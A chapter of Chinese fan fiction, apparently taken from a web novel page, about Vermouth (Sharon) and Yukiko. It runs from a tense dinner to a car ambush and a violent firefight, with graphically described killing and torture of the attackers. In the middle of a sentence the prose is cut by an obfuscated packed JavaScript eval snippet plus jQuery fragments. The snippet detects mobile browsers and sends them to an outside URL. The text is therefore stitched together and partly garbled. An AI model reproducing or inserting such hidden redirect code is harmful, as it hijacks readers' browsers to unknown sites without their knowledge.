竹帘将洛杉矶的霓虹割成细碎光斑。
这家需要提前半年预约的日料店,此刻竟将“已包场”的木牌斜挂在门帘旁。
有希子用筷子尖戳着鳗鱼饭上的芝麻。
本该酥脆的鱼皮浸透了酱汁,就像她精心排练的质问被莎朗的沉默泡得绵软。
“尝尝这个。”莎朗将海胆军舰寿司推过桌沿。
有希子没有说话,只是气鼓鼓地盯着莎朗。
莎朗却像是没有注意一样。
她在用银勺刮下新鲜芥末,绿莹莹的膏体在白瓷碟上堆成小山。
“三十七天都足够酿梅酒了。”有希子又舀起冰镇茶碗蒸,勺底磕到碗沿发出脆响,试图引起莎朗注意,“还是发霉的那种。”
莎朗的筷子夹走有希子碗中戳得破碎的鳗鱼肉。
“好莱坞每天有三百个故事发霉,多一个不算多。”
说罢,蘸着芥末的玉子烧精准落在少女碟中。
见莎朗软硬不吃,跟个锯嘴葫芦一样,有希子放下手中的竹筷。
“前几天,我遇见了纳尔森导演。”
“他问你是不是真的卷款逃去摩纳哥?”
“事实证明,我现在还在洛杉矶。”
莎朗拿起茶壶,茶汤在杯底晃出涟漪。
瓷壶嘴腾起的热气模糊了有希子的视线,也氤氲了莎朗眼尾新添的细纹。
莎朗突然倾身抹掉有希子嘴角的奶油,指腹薄茧蹭过唇纹,“我订了箱山形县的樱桃,下周该送到了。”
有希子猛地攥住她欲收回的手腕,酱油顺着桌沿滴在莎朗钴蓝色的丝巾上:“你以为送水果就能......”
“能让你的那位好友停止每天往我旧公寓寄刀片?”莎朗突然笑出声。
她解开染污的丝巾系在少女腕间,动作熟练得像给炸毛小狗系铃铛。
穿振袖和服的服务生恰在此时呈上鲷鱼烧,焦香外壳裂开处露出红豆内馅。
莎朗抬眸,示意其递给有希子。
在有希子看不见的地方,服务生托盘下的手对着莎朗比了个手势。
莎朗的瞳孔骤然收缩,随即若无其事地开口,“该去码头看烟花了,puppy。”
***
咸涩海风卷着烟花碎屑扑进车窗。
有希子伸手接住一片未燃尽的亮片,看着它在掌心渐渐冷却。
远处货轮拉响悠长的汽笛,有希子跟着节奏轻叩车窗,数到第七声时忽然转头。
“莎朗,你说那些船员会不会也数着汽笛声等日出?”
驾驶座的莎朗单手撑着车窗,金色卷发被夜风撩起,在路灯下泛着蜜色光泽。
她另一只手飞快划动着手机键盘,屏幕蓝光映得眼睫忽明忽暗:“也许吧。”
话音未落,手机突然震动,她扫了眼新消息,指尖在删除键上悬停片刻,最终按灭屏幕。
有希子没注意到这个细节,她正凑近遮阳板上的化妆镜补口红。
“今晚的海风有铁锈味呢。”她无意识地说着,忽然皱起鼻子,“莎朗,你闻到没有?”
突然,有希子手中的口红顿在半空。
遮阳板镜面折射出后方车灯的猩红光斑。
有希子瞬间有种被危险盯上的直觉。
“莎朗……那辆黑色越野车,是不是跟了我们三条街?”
她指尖无意识蹭到唇角,留下抹歪斜的樱色。
莎朗的眉头微蹙,眼神里透着一抹烦躁。
“大概是狗仔队。”她轻描淡写地说道,却在背后悄然扣住伯/莱/塔M9的保险。
“也对,说不定是那群鬣狗嗅到你的气息了。”
有希子果然被转移了注意力,她对着镜子抿了抿唇,“可是他们连长焦镜头都没架!”
话音未落,黑色越野车突然加速逼近,轮胎摩擦地面的尖啸刺破夜空。
莎朗猛打方向盘,轿车擦着护栏撞断两根木桩,咸涩海水顿时灌进破裂的车窗。
有希子失声地紧紧抓住车门把手,却看见莎朗左手稳如磐石地握着方向盘,右手从座椅夹缝抽出消音手枪,动作流畅得像是演过千百遍的特技镜头。
“趴下!”莎朗厉声喝道,同时拽着有希子扑向座位下方。
子弹击穿后挡风玻璃的瞬间,有希子听见金属撞击的脆响,那是莎朗用手枪挡开了致命一击。
“他们不是狗仔!”
有希子尝试冷静,却本能地抓住莎朗的衣袖,指尖还在颤抖。
“是冲你来的对不对?和发布你所谓丑闻的人是一拨。”
莎朗没时间解释,她踹开车门翻滚出去,□□在月光下划出银色弧线。
有希子透过碎裂的车窗,看见莎朗的金发在夜风里翻涌。
枪响骤起。
有希子被硝烟味呛得咳嗽,海风裹挟着血腥气钻进鼻腔。
她看见月光在莎朗的枪管上凝成寒霜,看见永远游刃有余的莎朗此刻像被逼入绝境的母狼,子弹擦过她的小腿在柏油路上溅起火星。
“左边!”有希子突然尖叫,她看见阴影里蠕动的枪口。
身体比思维更快行动,当她意识到时,自己已经踉跄着扑向莎朗背后。某种滚烫的东西穿透右肩胛骨,仿佛被火钳烙进皮肉。
世界在耳鸣中天旋地转。莎朗金发扫过她染血的唇角。
“蠢货……”莎朗的声音第一次出现裂痕,她单膝跪地将少女揽进怀里,指尖按着汩汩冒血的伤口。
昏迷前最后的触感是,剧痛撕扯间,有希子感到莎朗在发抖。
不是恐惧的颤抖,而是某种精密仪器运转时突然出错的嘶鸣。
……
当莫吉托和血玛丽带着人赶过来的时候,恰好看见贝尔摩德背靠报废的集装箱,单手拧断杀手的颈椎,血浆顺着她指尖滴落。而另一只手,正死死护着怀中昏迷的少女。
“解释。”贝尔摩德的声音混着金属摩擦声,她踩着某个杀手的脊椎骨俯身,细高跟正缓缓陷进对方后颈的枪伤里旋转。
莫吉托的战术手电扫过地面,突然僵在原地。
本该立即死亡的杀手仍在抽搐,说明贝尔摩德刻意避开了致命点,纯粹在延长施虐过程。
“三分钟。”贝尔摩德的声音冷极了,“从码头哨岗到这里,你们爬得比冬眠的乌龟还慢。”
血玛丽瞥见莫吉托喉结滚动着咽下辩词。
确实比预定时间迟了117秒,但对于处理五个伏击点来说已是极限。
不过这个认知在他们两人看见贝尔摩德掰断杀手颈骨时被碾得粉碎,因为她正在用最原始的暴力填补时间差造成的裂隙。
血玛丽还想说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380173|168433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么,只见贝尔摩德突然拽过尸体挡在身前。
远处的消音手枪发出闷响,子弹穿透尸体的心脏,精准钉入莫吉托脚前半英寸的水泥地。
直到此刻他们才发现,起重机顶端还蛰伏着一个狙击手。
“十点钟方向!”血玛丽撞开莫吉托的瞬间,子弹擦着她耳环嵌入集装箱。
这个失误让她浑身发冷,本该由他们清除的狙击盲点,此刻却成为悬在他们头顶的达摩克利斯之剑。
贝尔摩德却笑了。
她将昏迷的少女塞进集装箱夹缝,转身时抽出尸体肋间的军刺。
月光在刀刃上流淌成毒蛇的信子,当狙击手再度瞄准时,发现瞄准镜里赫然映出自己搭档的眼球。
贝尔摩德竟把先前杀死的观察员尸体当成了反光盾。
“活口。”她对着通讯器吐出两个音节。
血玛丽立刻读懂这道残酷的命令。
当莫吉托用烟雾弹封锁狙击视野时,她已攀上起重机钢索,热成像仪显示那孩子最多十八岁,颤抖的食指正卡在扳机护圈里,瞳孔因过量兴奋剂扩张成两个黑洞。
这根本不是职业杀手,而是被临时投喂了兴奋剂的街头混混。
当血玛丽离他只剩三米时,少年竟露出解脱般的笑,毅然决然地丢下枪,张开双臂后仰着坠入黑暗。
三十米下的集装箱发出沉闷撞击声,像装满番茄汁的麻袋从高空炸开。
贝尔摩德踩着那滩新鲜血肉走来,将手里的军刺甩过来。
刀刃擦着莫吉托耳侧进铁皮集装箱,刀柄仍在高频震颤。
“还有下次的话。”
“我就用你们的颅骨当醒酒器。”
莫吉托注意到贝尔摩德左肩布料洇开的暗红,那绝不是敌人的血。
这个发现让他后颈汗毛直立。
这位永远优雅的神秘主义者居然在战斗中任由伤口流血,而她明明带着凝血剂。
“需要处理现场吗?”血玛丽递上消毒湿巾。
她也从未见过贝尔摩德如此狼狈。
“烧干净。”贝尔摩德将湿巾按在掌心贯穿伤上。
她转身离去,沾满秽物的高跟鞋却在有希子藏身的集装箱前停下。
贝尔摩德掏出手帕擦拭指缝血污的动作,精细得如同在片场补妆。
她抱起昏迷的少女塞进后座,撕开有希子染血的衣服。
“真是……愚蠢透顶。”
可贝尔摩德扯下绷带包扎的动作却温柔得可怕,仿佛在包裹易碎的玻璃。
当车载电话传来组织医生的确认音,贝尔摩德正好咬开肾上腺素注射器。
“准备O型血和神经修复剂。如果留疤,你们就集体去横滨港喂鲨鱼。”
血玛丽从后视镜看见贝尔摩德正在擦拭少女唇角的血渍,枪茧密布的拇指反复摩挲那块肌肤,像要确认某种失而复得的温度。
而当有希子因疼痛发出幼犬般的呜咽时,贝尔摩德突然扯过自己的风衣裹住对方。
这个举动让莫吉托差点撞上隔离墩。
直到私人医院的地下通道亮起,贝尔摩德已经恢复成完美无瑕的千面魔女。
唯有血玛丽注意到,她抱着有希子走向手术室时,特意用身体挡住了通风口吹来的冷风,就像野兽在暴雨天为幼崽遮挡风雨的本能。